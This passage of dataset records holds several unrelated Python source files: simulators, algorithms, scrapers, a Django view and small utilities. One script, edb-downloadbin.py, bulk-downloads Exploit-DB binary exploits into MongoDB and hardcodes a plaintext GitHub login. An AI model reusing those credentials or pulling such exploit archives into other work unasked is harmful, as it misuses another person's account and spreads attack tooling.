controller.ts:\n control_timer -= controller.ts\n control_action = controller.calculate_action(x[:i], time[:i], control_point)\n else:\n control_action = 0\n\n # Progress Callback.\n percentage = int(100 * i / nit)\n if percentage != last_percentage:\n last_percentage = percentage\n if progressCallback:\n if callbackArgs:\n progressCallback(percentage, callbackArgs)\n else:\n progressCallback(percentage)\n\n self.simulation_results = SimulationResults(time, x, error, action)\n if onFinished:\n if args:\n onFinished(self.simulation_results, args)\n else:\n onFinished(self.simulation_results)\n\n if returnValues:\n return self.simulation_results\n\n @abstractmethod\n def _dx_dt(self, value, action=None):\n pass\n\n @staticmethod\n def runge_kutta(derivative_function, xn, dt):\n weights = [2, 2, 1]\n k = derivative_function(xn)\n x_n1 = k\n for i in range(3):\n k = derivative_function(xn + dt * k / weights[i])\n x_n1 += k * weights[i]\n x_n1 *= dt / 6\n x_n1 += xn\n return x_n1\n\n def dormand_prince(self, derivative_function, xn, dt, tol=1e-6):\n k1 = derivative_function(xn)\n k2 = derivative_function(xn + dt * self.a21 * k1)\n k3 = derivative_function(xn + dt * (self.a31 * k1 + self.a32 * k2))\n k4 = derivative_function(xn + dt * (self.a41 * k1 + self.a42 * k2 + self.a43 * k3))\n k5 = derivative_function(xn + dt * (self.a51 * k1 + self.a52 * k2 + self.a53 * k3 + self.a54 * k4))\n k6 = derivative_function(\n xn + dt * (self.a61 * k1 + self.a62 * k2 + self.a63 * k3 + self.a64 * k4 + self.a65 * k5))\n xn_1 = xn + dt * (self.a71 * k1 + self.a73 * k3 + self.a74 * k4 + self.a75 * k5 + self.a76 * k6)\n k7 = derivative_function(xn_1)\n error = abs(\n dt * (self.a81 * k1 + self.a83 * k3 + self.a84 * k4 + self.a85 * k5 + self.a86 * k6 + self.a87 * k7))\n\n if error == 0:\n dt_new = 2*dt\n elif error > tol or (error < tol/10):\n a = np.power(tol * dt / (2 * error), 1 / 5)\n factor = 0.9 * a\n if factor > 2:\n dt_new = 2*dt\n elif 0.5 < factor:\n dt_new = dt/2\n else:\n dt_new = factor*dt\n else:\n dt_new = dt\n\n dt_new = self.limit(dt_new, self.limits['dt'])\n\n return xn_1, dt_new\n\n @staticmethod\n def limit(x, limits):\n out = x\n if limits[0]:\n out = max(limits[0], out)\n if limits[1]:\n out = min(limits[1], out)\n return out\n\n\n# Implementation of Water Tank Dynamics.\nclass WaterTank(DynamicSystem):\n g = 9.81\n\n def __init__(self, max_height=1, tank_area=0.09, tank_escape_area=0.001 * np.pi, incoming_max_velocity=20,\n input_area=0.0004 * np.pi):\n DynamicSystem.__init__(self, {\n 'x': [0, max_height]\n })\n self._h_max = max_height\n self._k1 = np.sqrt(2 * self.g) * tank_escape_area / tank_area\n self._k2 = incoming_max_velocity * input_area / tank_area\n\n def _dx_dt(self, value, action=None):\n return self._k2 * action - self._k1 * np.sqrt(value)\n\n\nclass LinkedList:\n\n class Data:\n\n def __init__(self, val, index=0):\n self.val = val\n self.index = index\n self.next = None\n\n def __hash__(self):\n return self.index\n\n def __init__(self, initial_data=None):\n self.first = None\n self.length = 0\n self.last = None\n self.Nodes = {}\n if initial_data:\n self.append(initial_data)\n\n def append(self, data):\n new_node = self.Data(data, self.length)\n if self.last:\n self.Nodes[self.last].next = new_node\n self.Nodes[new_node] = new_node\n if self.length == 0:\n self.first = new_node\n elif self.length == 1:\n self.first.next = new_node\n self.last = new_node\n self.length += 1\n\n def np_array(self):\n array = np.zeros(self.length)\n curr = self.Nodes[self.first]\n for i in range(self.length):\n array[i] = curr.val\n curr = curr.next\n return array\n\n\n# class InvertedPendulum:\n# g = 9.81\n#\n# def __init__(self, L=1, inital_theta=0.00001):\n# self.L\n# self.theta = 0\n#\n#\n# def iterate(self, action, dt=0.01):\n# dh = self.k2*action - self.k1*np.sqrt(self.h)\n# self.h += dh*dt\n# self.elapsed_time += dt\n# if self.h <= 0:\n# self.h = 0\n# if self.h >= self.h_max:\n# self.h = self.h_max\n#\n# def get_reading(self):\n# return self.h + np.random.normal(0, 0.03)\n","repo_name":"Cbonief/Controlab","sub_path":"simulator.py","file_name":"simulator.py","file_ext":"py","file_size_in_byte":10259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"35590933653","text":"import os\nimport sys\nimport glob\nimport gridfs\nimport multiprocessing\nfrom bson import Binary\nfrom github import Github\nfrom pymongo import MongoClient\nfrom urllib.request import urlopen\n\n# load mongo client and establish collections\nclient = MongoClient('127.0.0.1', 27017)\ndb = client.pymongo_test\ntest_json_dump = db.test_json_dump\n\nshellcode_dump = db.shellcode_dump\nexploit_dump = db.exploit_dump\nprint(\"Connected to database.\")\n\ndb_bin = MongoClient().gridfs_testbin\nfs_bin = gridfs.GridFS(db_bin)\nprint(\"Connected to GridFS.\")\n\ngithub = Github(\"softwaregarry\", \"biggestmoney5ever\")\nuser = github.get_user()\nrepo = github.get_repo(\"offensive-security/exploitdb-bin-sploits\")\n\ndef get_binaries(file):\n\turl = \"https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/{}\".format(file.name)\n\tprint(url)\n\tfilename = file.name\n\tedb_id = file.name.split(\".\")[0]\n\tprint(edb_id)\n\tfile = urlopen(url)\n\tdata = file.read()\n\tprint(sys.getsizeof(data))\n\tif sys.getsizeof(data) > 4194304:\n\t\ta = fs_bin.put(data, filename=filename, edb_id=edb_id)\n\t\tprint(\"Inserted bin-sploit for {}.\".format(edb_id))\n\n\telse:\n\t\texploit_dump.find_one_and_update({'_id': edb_id}, {'$set': {\"poc_bin\": Binary(data)}})\n\t\ta = fs_bin.put(data, filename=filename, edb_id=edb_id)\n\t\tprint(\"Inserted bin-sploit for {}.\".format(edb_id))\n\njobs = []\n\ncontents = repo.get_dir_contents(\"bin-sploits\")\nfor file in contents:\n\tp = multiprocessing.Process(target=get_binaries, args=(file,))\n\tjobs.append(p)\n\tp.start()\n\n# pool = multiprocessing.Pool()\n# contents = repo.get_dir_contents(\"bin-sploits\")\n# for file in contents:\n# \tpool.apply_async(get_binaries, args=(file,))","repo_name":"Sonvanelle/VulnDisclosureCollector","sub_path":"edb-downloadbin.py","file_name":"edb-downloadbin.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"9125933633","text":"from __future__ import print_function\nfrom cloudmesh_client.cloud.image import Image\nfrom cloudmesh_client.shell.command import command\nfrom cloudmesh_client.shell.console import Console\nfrom cloudmesh_client.default import Default\nfrom cloudmesh_client.shell.command import PluginCommand, CloudPluginCommand\n\n\nclass ImageCommand(PluginCommand, CloudPluginCommand):\n topics = {\"image\": \"cloud\"}\n\n def __init__(self, context):\n self.context = context\n if self.context.debug:\n print(\"init command image\")\n\n # noinspection PyUnusedLocal\n @command\n def do_image(self, args, arguments):\n \"\"\"\n ::\n\n Usage:\n image refresh [--cloud=CLOUD]\n image list [ID] [--cloud=CLOUD] [--format=FORMAT] [--refresh]\n\n This lists out the images present for a cloud\n\n Options:\n --format=FORMAT the output format [default: table]\n --cloud=CLOUD the cloud name\n --refresh live data taken from the cloud\n\n Examples:\n cm image refresh\n cm image list\n cm image list --format=csv\n cm image list 58c9552c-8d93-42c0-9dea-5f48d90a3188 --refresh\n\n \"\"\"\n cloud = arguments[\"--cloud\"] or Default.cloud\n if cloud is None:\n Console.error(\"Default cloud doesn't exist\")\n return\n\n if arguments[\"refresh\"] or Default.refresh:\n msg = \"Refresh image for cloud {:}.\".format(cloud)\n if Image.refresh(cloud):\n Console.ok(\"{:} ok.\".format(msg))\n else:\n Console.error(\"{:} failed.\".format(msg))\n return \"\"\n\n if arguments[\"list\"]:\n id = arguments['ID']\n live = arguments['--refresh']\n output_format = arguments[\"--format\"]\n\n counter = 0\n\n result = None\n while counter < 2:\n if id is None:\n result = Image.list(cloud, output_format)\n else:\n result = Image.details(cloud, id, live, output_format)\n if counter == 0 and result is None:\n if not Image.refresh(cloud):\n msg = \"Refresh image for cloud {:}.\".format(cloud)\n Console.error(\"{:} failed.\".format(msg))\n counter += 1\n\n if result is None:\n Console.error(\"No image(s) found. Failed.\")\n else:\n print(result)\n return \"\"\n\n","repo_name":"cloudmesh/client","sub_path":"cloudmesh_client/shell/plugins/ImageCommand.py","file_name":"ImageCommand.py","file_ext":"py","file_size_in_byte":2592,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"71101322372","text":"import requests\nimport concurrent.futures\nfrom validate import parse\n\nf1 = open(\"problems.txt\", \"a\")\nf2 = open(\"warnings.txt\", \"a\")\nt1 = 0\nt2 = 0\nf1.write(\"geee\")\ndef process_number(i):\n zpadded = str(i).zfill(6)\n btext = requests.get(f\"https://oeis.org/A{zpadded}/b{zpadded}.txt\").text\n result = parse(btext)\n if not result[1].is_empty():\n print(\"A\" + zpadded, result[1])\n t1 += 1\n f1.flush()\n f1.write(str(i) + \"\\n\")\n elif not result[2].is_empty():\n print(zpadded, result[2])\n t2 += 1\n f2.flush()\n f2.write(str(i) + \"\\n\")\n\nwith concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:\n for i in range(154, 1000):\n print(i)\n executor.submit(process_number, i)\n\nf1.close()\nf2.close()\n","repo_name":"winstonDeGreef/bfile-toolbox","sub_path":"py/threaded.py","file_name":"threaded.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"33446312317","text":"# nsga2.py\n# Functions related to the nondominated sorting genetic algorithm\n# described in the following paper:\n#\n# K. Deb, A. Pratap, S. Agarwal, and T. Meyarivan, \"A Fast and Elitist\n# Multiobjective Genetic Algorithm: NSGA-II\", in IEEE Transactions on\n# Evolutionary Computation, vol. 6, no. 2, 2002, pp. 182-197.\n\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom numpy.core.multiarray import ndarray\n\n\ndef main():\n # Set relevant parameters\n root = os.getcwd() # root directory that contains the data file\n filename = \"fitness.txt\"\n savefile = \"distance.txt\"\n\n # Load data from file\n f = np.loadtxt(os.path.join(root, filename))\n\n # Compute Pareto fronts using fast nondominated sorting\n p = ndsort(f)\n\n # Compute crowding distance (each front is handled separately)\n d = crowddist(f, p)\n\n # Save the crowding distance results to file\n np.savetxt(os.path.join(root, savefile), d, fmt='%0.2f')\n\n\ndef ndsort(f):\n p = np.zeros(f.shape[0])\n\n # Part 1: generate Sp and np\n\n n = [] # domination count (dominate p) [int]\n S = [] # set of solutions that p dominates [[solutions]]\n\n for i in range(f.shape[0]):\n n.append(0)\n S.append([])\n for j in range(f.shape[0]):\n if i == j: continue # if i and j are the same solution continue\n elif a_dominates_b(f[i],f[j]): # if i dominates j\n S[i].append(j)\n elif a_dominates_b(f[j],f[i]): # if i is dominated by j\n n[i] += 1\n\n # Part 2: use Sp and np to find Pareto-fronts\n\n n = np.array(n)\n S = np.array(S)\n\n Q = np.array(np.where(n == 0))[0] # find where np==0\n front = 1\n while True:\n next_Q = []\n for k in Q:\n if S[k] == 0:\n continue\n for l in S[k]:\n n[l] -= 1\n if n[l] == 0:\n next_Q.append(l)\n\n p[Q] = front\n\n if not next_Q: break\n Q = next_Q\n\n front += 1\n\n # Pyplot, must be 2d\n f1 = f[:,0].ravel()\n f2 = f[:,1].ravel()\n plt.plot(f1[np.where(p == 1)], f2[np.where(p == 1)], 'bo')\n plt.plot(f1[np.where(p == 2)], f2[np.where(p == 2)], 'o', color='#ffa500')\n plt.plot(f1[np.where(p == 3)], f2[np.where(p == 3)], 'go')\n plt.plot(f1[np.where(p == 4)], f2[np.where(p == 4)], 'ro')\n plt.plot(f1[np.where(p == 5)], f2[np.where(p == 5)], 'mo')\n plt.plot(f1[np.where(p == 6)], f2[np.where(p == 6)], 'ko')\n plt.show()\n\n # Return an array of Parent front indices for each data point\n return p\n\n\ndef a_dominates_b(a,b): # a&b shape=(2,)\n return (a[0] <= b[0] and a[1] <= b[1]) and (a[0] < b[0] or a[1] < b[1])\n\n\ndef crowddist(f, p):\n d = np.array(range(f.shape[0]), dtype=float)\n\n front_1 = np.array(np.where(p == 1))[0] # find where p==1\n front_f = f[front_1]\n\n d[[0,-1]] = np.inf\n for i in range(f.shape[1]): # for as many fn's we have\n fn: ndarray = -np.sort(-front_f[:, i].ravel()) # sort the fn() vals\n norm = fn[0] - fn[-1] # max - min\n for j in range(1, fn.shape[0]-1): # take the distance of each\n d[j] += (fn[j-1] - fn[j+1])/norm\n\n # Return the crowding distance metric for each data point\n print(\"d:\", d)\n return d\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"quinlanharsch/Portfolio","sub_path":"Evolutionary Algorithms/LastHW/nsga2.py","file_name":"nsga2.py","file_ext":"py","file_size_in_byte":3302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"72575908614","text":"n = int(input())\n\nmatrix = [list(map(int, input().split())) for _ in range(n)]\ndp = [[0 for _ in range(n)] for _ in range(n)]\ndp[0][0]=1\n\n# for i in range(n):\n# for j in range(n):\n# if i == n-1 and j == n-1:\n# print(dp[i][j])\n# break\n \n# val = matrix[i][j]\n# if i + val < n:\n# dp[i+val][j] += dp[i][j]\n# if j + val < n:\n# dp[i][j+val] += dp[i][j]\n\n \n# cnt = 0\n# dp = [[-1 for _ in range(n)] for _ in range(n)]\n# def recur(x,y):\n# global cnt\n# if x == n-1 and y == n-1:\n# cnt+=1\n# return\n\n# if dp[x][y] == -1: \n# dp[x][y] = 0\n# if 0<=x+matrix[x][y]=0:\n # rows=int(item.split()[-1])\n # if item.find(\"Dim_2\")>=0:\n # cols=int(item.split()[-1])\n #f.seek(-rows*cols*2,2)\n #self.rows=rows\n #self.cols=cols\n #self.data=array(fromstring(f.read(rows*cols*2),UInt16),savespace=1)\n# self.data=fabio.open(filename).data[:1024,:1024].copy()\n self.data=fabio.open(filename).data#[:1024,:1024]\n self.rows=self.data.shape[0]\n self.cols=self.data.shape[1]\n self.data=np.ravel(self.data)\n self.minI=np.minimum.reduce(np.ravel(self.data))\n self.maxI=np.maximum.reduce(np.ravel(self.data))\n print(\"Opened\",filename,\"max=\",self.maxI,\"min=\",self.minI)\n\nclass myOpengl(OTk.Opengl):\n\n def __init__(self, master=None, cnf={}, **kw):\n OTk.Opengl.__init__(*(self, master, cnf), **kw)\n\n def StartRotate(self,event):\n \"\"\"\n Clear old selection box\n Start new one\n \"\"\"\n pass\n# Opengl.StartRotate(self,event)\n\n\n def tkRotate(self, event):\n \"\"\"\n Draw selection box ??? Not working\n \"\"\"\n win_height = max( 1, self.winfo_height() )\n\n obj_c = ( 0., 0., 0. )\n win = gluProject( obj_c[0], obj_c[1], obj_c[2])\n obj = gluUnProject( win[0], win[1] + 0.5 * win_height, win[2])\n dist = math.sqrt( (obj_c[0]-obj[0])**2 + (obj_c[1]-obj[1])**2 + (obj_c[2]-obj[2])**2 )\n scale = abs( dist / ( 0.5 * win_height ) )\n realy = self.winfo_height() - event.y\n p1 = gluUnProject(event.x, realy, 0.) # Image is at z = 0\n p2 = gluUnProject(event.x, realy, 1.) # Image is at z = 0\n print(p1[0],p1[1],p1[2])\n# Opengl.tkRotate(self,event)\n\n def tkAutoSpin(self, event):\n \"\"\"\n Finish drawing selection box\n \"\"\"\n pass\n# Opengl.tkAutoSpin(self,event)\n\n\nclass checker:\n\n def makeImage(self):\n try:\n mi=int(self.minI.get())\n mx=int(self.maxI.get())\n except:\n mi=self.edfFile.minI\n mx=self.edfFile.maxI\n shape=(self.edfFile.rows, self.edfFile.cols)\n d=np.reshape(np.clip(self.edfFile.data,mi,mx),shape) # makes a clipped copy\n print(\"makeImage\",mx,mi,np.maximum.reduce(np.ravel(d)),np.minimum.reduce(np.ravel(d)),d.dtype.char, end=' ')\n newshape = []\n for i in shape:\n j=4\n print(j,pow(2,j),i,i pow(2,j):\n j+=1\n newshape.append(j)\n newshape = tuple([pow(2,v) for v in newshape])\n print(\"newshape\",newshape)\n d=255.*(d-mi)/(mx-mi)\n self.image=np.zeros((newshape[0],newshape[1],3),np.uint8)\n print(self.image.shape,d.shape)\n self.image[:shape[0],:shape[1],0] = d\n self.image[:shape[0],:shape[1],1] = d\n self.image[:shape[0],:shape[1],2] = d\n print(self.image.shape)\n# import pylab as pl\n# pl.imshow(self.image)\n# pl.show()\n # self.image = self.image # .tostring()\n self.imageWidth = newshape[1]\n self.imageHeight = newshape[0]\n print(\"Returning\")\n\n\n def display(self, event=None):\n OGL.glClearColor( .7, 0.8, 0.9, 0)\n OGL.glClear(OGL.GL_COLOR_BUFFER_BIT | OGL.GL_DEPTH_BUFFER_BIT)\n OGL.glBegin(OGL.GL_QUADS)\n\n w=self.imageWidth/2\n h=self.imageHeight/2\n \n OGL.glTexCoord2f(0.0, 0.0); OGL.glVertex3f(-w, -h, 0.0)\n OGL.glTexCoord2f(0.0, 1.0); OGL.glVertex3f(-w, h, 0.0)\n OGL.glTexCoord2f(1.0, 1.0); OGL.glVertex3f( w, h, 0.0)\n OGL.glTexCoord2f(1.0, 0.0); OGL.glVertex3f( w, -h, 0.0)\n\n OGL.glEnd()\n OGL.glFlush()\n\n def change(self, event=None):\n self.SetupTexture()\n self.ogl.tkRedraw()\n\n def SetupWindow(self):\n\n self.OglFrame = OTk.Frame()\n self.OglFrame.pack(side = 'top', expand=1 ,fill='both')\n\n self.ogl = myOpengl(master=self.OglFrame, width = 500, height = 500, double = 1)\n\n\n self.ogl.pack(side = 'top', expand = 1, fill = 'both')\n self.ogl.distance=max(self.imageWidth+10,self.imageHeight+10)*10\n self.ogl.near=max(self.imageWidth+10,self.imageHeight+10)*100.\n self.ogl.far=max(self.imageWidth+10,self.imageHeight+10)/100.\n self.ogl.fovy=10.\n self.ogl.autospin_allowed=1\n self.ogl.redraw = self.display\n\n\n # Control buttons for scaling\n self.bf=OTk.Frame()\n self.QuitButton = OTk.Button(self.bf, {'text':'Quit'})\n self.QuitButton.bind('', sys.exit)\n self.QuitButton.pack(side=OTk.RIGHT)\n\n OTk.Label(self.bf,text=\"MIN:\").pack(side=OTk.LEFT)\n self.minI=OTk.StringVar()\n try:\n self.minI.set(str(int(sys.argv[2])))\n except:\n self.minI.set(str(self.edfFile.minI))\n self.minIentry=OTk.Entry(self.bf, textvariable=self.minI)\n self.minIentry.bind('', self.change)\n self.minIentry.pack(side=OTk.LEFT)\n\n OTk.Label(self.bf,text=\" MAX:\").pack(side=OTk.LEFT)\n self.maxI=OTk.StringVar()\n try:\n top=int(sys.argv[3])\n except:\n top=self.edfFile.minI+(self.edfFile.maxI-self.edfFile.minI)/10.\n self.maxI.set(str(top))\n self.maxIentry=OTk.Entry(self.bf, textvariable=self.maxI)\n self.maxIentry.bind('', self.change)\n self.maxIentry.pack(side=OTk.LEFT)\n\n self.Update = OTk.Button(self.bf, text=\"Update\", command=self.change).pack(side=OTk.LEFT)\n OTk.Button(self.bf, text=\"Reset\", command=self.ogl.reset).pack(side=OTk.LEFT)\n self.bf.pack(side=OTk.TOP,expand=0,fill=OTk.X)\n helpframe=OTk.Frame()\n OTk.Label(helpframe,text=\"Left mouse button to translate, Right to zoom\").pack(side=OTk.BOTTOM)\n helpframe.pack(side=OTk.BOTTOM)\n\n\n\n\n def SetupTexture(self):\n self.makeImage()\n OGL.glPixelStorei(OGL.GL_UNPACK_ALIGNMENT, 1)\n## glTexImage2D(GL_TEXTURE_2D, 0, 3, self.imageWidth, self.imageHeight, 0, GL_RGBA, GL_UNSIGNED_BYTE, self.image)\n s = self.image.tostring()\n print(len(s),self.imageWidth*self.imageHeight)\n print(self.image.min(),self.image.max())\n OGL.glTexImage2D(OGL.GL_TEXTURE_2D, 0, OGL.GL_RGB, self.imageWidth, self.imageHeight, 0, OGL.GL_RGB ,OGL.GL_UNSIGNED_BYTE, self.image)\n## glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP)\n## glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP)\n OGL.glTexParameterf(OGL.GL_TEXTURE_2D, OGL.GL_TEXTURE_WRAP_S, OGL.GL_REPEAT)\n OGL.glTexParameterf(OGL.GL_TEXTURE_2D, OGL.GL_TEXTURE_WRAP_T, OGL.GL_REPEAT)\n OGL.glTexParameterf(OGL.GL_TEXTURE_2D, OGL.GL_TEXTURE_MAG_FILTER, OGL.GL_NEAREST)\n OGL.glTexParameterf(OGL.GL_TEXTURE_2D, OGL.GL_TEXTURE_MIN_FILTER, OGL.GL_NEAREST)\n OGL.glTexEnvf(OGL.GL_TEXTURE_ENV, OGL.GL_TEXTURE_ENV_MODE, OGL.GL_DECAL)\n OGL.glEnable(OGL.GL_TEXTURE_2D)\n OGL.glShadeModel(OGL.GL_FLAT)\n\n\n\n\n\n\n\n def __init__(self):\n try:\n self.edfFile = edfFile(sys.argv[1])\n except:\n sys.stderr.write(\"usage: %s edf_file\\n\"%(sys.argv[0]))\n raise\n self.imageWidth = self.edfFile.rows\n self.imageHeight = self.edfFile.cols\n\n self.SetupWindow()\n self.SetupTexture()\n self.ogl.mainloop()\n\nif __name__ == '__main__':\n checker()\n","repo_name":"FABLE-3DXRD/ImageD11","sub_path":"scripts/plotedf.py","file_name":"plotedf.py","file_ext":"py","file_size_in_byte":8380,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"44"} +{"seq_id":"9721327568","text":"import requests\nfrom bs4 import BeautifulSoup\nimport re\n\ndef get_script(url):\n r = requests.get(url)\n soup = BeautifulSoup(r.content, 'html.parser')\n div_title = soup.find('div', {'class': 'originalTitle'})\n div_desc = soup.find('div', {'class' :'summary_text'})\n title = div_title.text.strip()\n description = div_desc.text.strip()\n return creating_dict(title, description)\n\ndef creating_dict(title, description):\n movie_dict = {'title' : None, 'description' : None}\n movie_dict['title'] = title\n movie_dict['description'] = description\n return movie_dict\n\ndef url_validation(url):\n if re.match('.*imdb.com/title*', url) is not None:\n return True\n else:\n return False\n\ndef main():\n print('Input the URL:')\n input_url = input()\n if url_validation(input_url):\n return get_script(input_url)\n else:\n return \"Invalid movie page!\"\n\nprint(main())\n\n# import requests\n# import json\n# from bs4 import BeautifulSoup\n#\n# def get_script(url):\n# r = requests.get(url)\n# soup = BeautifulSoup(r.text, 'html.parser')\n# for script in soup.find_all('script'):\n# if script.get('type') == 'application/ld+json':\n# return json.loads(str(script)[35:-9])\n#\n# def parsing_json(input_url):\n# dict_title_descr = {\"title\": None, 'description' : None}\n# jsoned = get_script(input_url)\n# dict_title_descr['title'] = jsoned['name']\n# for key, value in jsoned.items():\n# print(key, value)\n# return dict_title_descr\n#\n# def main():\n# print('Input the URL:')\n# input_url = input()\n# return parsing_json(input_url)\n#\n# print(main())\n","repo_name":"sebastianRytel/JetBrainsAcademy_Python","sub_path":"Web Scraper_movies details.py","file_name":"Web Scraper_movies details.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"74813404292","text":"import csv\r\nimport os\r\n\r\nfrom PyQt4 import QtGui\r\n\r\nfrom gatpy.logging import logger\r\nfrom ui.retour import Ui_Dialog\r\n\r\n\r\nclass RetourDialog(QtGui.QDialog, Ui_Dialog):\r\n def __init__(self, parent=None):\r\n QtGui.QDialog.__init__(self, parent)\r\n self.cart = parent.cart\r\n\r\n self.setupUi(self)\r\n self.setFixedSize(800, 600)\r\n self.connectAll()\r\n self.loadData()\r\n\r\n def connectAll(self):\r\n self.closeButton.clicked.connect(self.close)\r\n\r\n def loadData(self):\r\n with open(self.cart.filename, 'r') as f:\r\n for row in reversed(list(csv.reader(f))):\r\n print(row)\r\n","repo_name":"CasEbb/gatpy","sub_path":"gatpy/gui/retour.py","file_name":"retour.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"34746946232","text":"from utils.hotkeys import Key, join_hotkeys\nfrom xml_tags import Tag\n\n\nHK_CAPTURE_IMAGE = Key.CTRL, Key.SPACE\nHK_CAPTURE_OCR = Key.CTRL, Key.ALT, Key.ENTER\nHK_TOGGLE_MODE = Key.CTRL, Key.SHIFT, Key.ALT\nHK_BACK_TO_MENU = Key.CTRL, Key.SHIFT, Key.WIN\nHK_CANCEL = Key.ESC\nHK_CONFIRM = Key.ENTER\n\n\nBASE_MAPPING = {\n Key.Z: Tag.PARAGRAPH,\n Key.X: Tag.PORQUE,\n Key.V: Tag.TEXT_HEADER,\n Key.M: Tag.CAPTION,\n\n Key.S: Tag.SOURCE,\n Key.D: Tag.CODE,\n Key.F: Tag.FORMULA,\n Key.J: Tag.QUESTION_OPTIONS,\n Key.H: Tag.QUESTION,\n Key.K: Tag.ANSWER_OPTIONS,\n Key.L: Tag.LINK,\n\n Key.T: Tag.TITLE,\n Key.Y: Tag.TEXT,\n Key.U: Tag.CENTERED_TEXT,\n Key.O: Tag.LIST,\n Key.P: Tag.TABLE,\n\n Key.I: Tag.ITALIC,\n Key.B: Tag.BOLD,\n}\n\nTAG_HOTKEY_PREFIX = Key.CTRL, Key.ALT\nTAG_MAPPING = {}\nREVERSE_TAG_MAPPING = {}\n\nfor k, v in BASE_MAPPING.items():\n hk = join_hotkeys(*TAG_HOTKEY_PREFIX, k)\n TAG_MAPPING[hk] = v\n REVERSE_TAG_MAPPING[v] = [hk]\n\nHK_REMOVE_TAG = join_hotkeys(*TAG_HOTKEY_PREFIX, Key.R)\n","repo_name":"gabrieljablonski/enade-parser","sub_path":"hotkey_mapping.py","file_name":"hotkey_mapping.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"29527907858","text":"'''\nhttps://leetcode.com/problems/contains-duplicate/\n217. Contains Duplicate\nGiven an integer array nums, return true if any value appears at least twice in the array, and return false if every element is distinct. \n\nExample 1:\nInput: nums = [1,2,3,1]\nOutput: true\n\nExample 2:\nInput: nums = [1,2,3,4]\nOutput: false\n\nSC: O(n)\nTC: O(n)\n'''\nclass Solution:\n def containsDuplicate(self, nums: List[int]) -> bool:\n n = len(nums)\n dd = {}\n for i in range(n):\n if nums[i] in dd:\n return True\n else:\n dd[nums[i]] = 1\n return False\n \n'''\nSame solution but using a set instead of a dict\n'''\nclass Solution:\n def containsDuplicate(self, nums: List[int]) -> bool:\n n = len(nums)\n ss = set() \n for i in range(n):\n if nums[i] in ss:\n return True\n else:\n ss.add(nums[i])\n return False\n \n","repo_name":"trohit/leetcode","sub_path":"contains-duplicate.py","file_name":"contains-duplicate.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"23920594693","text":"from django.shortcuts import redirect, render\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth import authenticate, login as auth_login\nimport os\nfrom django.core.files.storage import FileSystemStorage\nimport json\nfrom financepeertask import models\n\n\ndef index(request):\n return render(request, 'index.html')\n\n\ndef register(request):\n if(request.method == 'POST'):\n form = UserCreationForm(request.POST)\n if(form.is_valid()):\n form.save()\n user = authenticate(\n username=form.cleaned_data['username'], password=form.cleaned_data['password1'])\n auth_login(request, user)\n return redirect('/')\n else:\n form = UserCreationForm()\n context = {'form': form}\n return render(request, 'registration/register.html', context)\n\n\ndef getFile(request):\n fileObj = request.FILES['filePath']\n fsObj = FileSystemStorage()\n filePathName = fsObj.save(fileObj.name, fileObj)\n filePathName = fsObj.url(filePathName)\n filename = filePathName[7:]\n filePathName = '.' + filePathName\n filePathName = filePathName.replace(\"%\", \" \")\n with open(filePathName) as f:\n data = json.load(f)\n for entry in data:\n print(entry['userId'])\n det = models.Details()\n det.userId = entry['userId']\n det.id1 = entry['id']\n det.title = entry['title']\n det.body = entry['body']\n det.save()\n data = models.Details.objects.all()\n return render(request, 'done.html')\n\n\ndef showData(request):\n data = models.Details.objects.all()\n print(data)\n return render(request, 'show.html', {\"Details\": data})\n\n\ndef logout(request):\n return redirect('http://127.0.0.1:8000/accounts/logout')\n\n\ndef login(request):\n return redirect('http://127.0.0.1:8000/accounts/login')\n","repo_name":"thechawla225/FinencepeerTask","sub_path":"financepeertask/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"74378914053","text":"from wtforms.validators import ValidationError\nimport logging\n\nlog = logging.getLogger(__name__)\n\nclass ValueRequired:\n def __init__(self, value, message=None):\n self.value = value\n self.message = message\n\n def __call__(self, form, field):\n log.debug(\"Value Required {}, field.data {}\".format(field.data,\n self.value))\n if field.data != self.value:\n raise ValidationError(self.message)\n","repo_name":"dolfandringa/modama","sub_path":"modama/views/validators.py","file_name":"validators.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"3211853055","text":"import pygame\r\nimport sys\r\nimport json\r\n\r\nfrom ground import Ground\r\nfrom obstacles import Obstacles\r\nfrom second_level import Obstacles2\r\nfrom score_text import Top\r\nfrom random import randint\r\n\r\ndef check_events(prisoner,grounds,settings,obs,obs2,over_b,screen,top):\r\n\r\n for event in pygame.event.get():\r\n\r\n if event.type == pygame.QUIT:\r\n sys.exit()\r\n \r\n elif event.type == pygame.KEYDOWN:\r\n check_keydown(event,prisoner,grounds,settings,obs,obs2,over_b,screen)\r\n \r\n elif event.type == pygame.KEYUP:\r\n check_keyup(event,prisoner,grounds,settings)\r\n \r\n elif event.type == 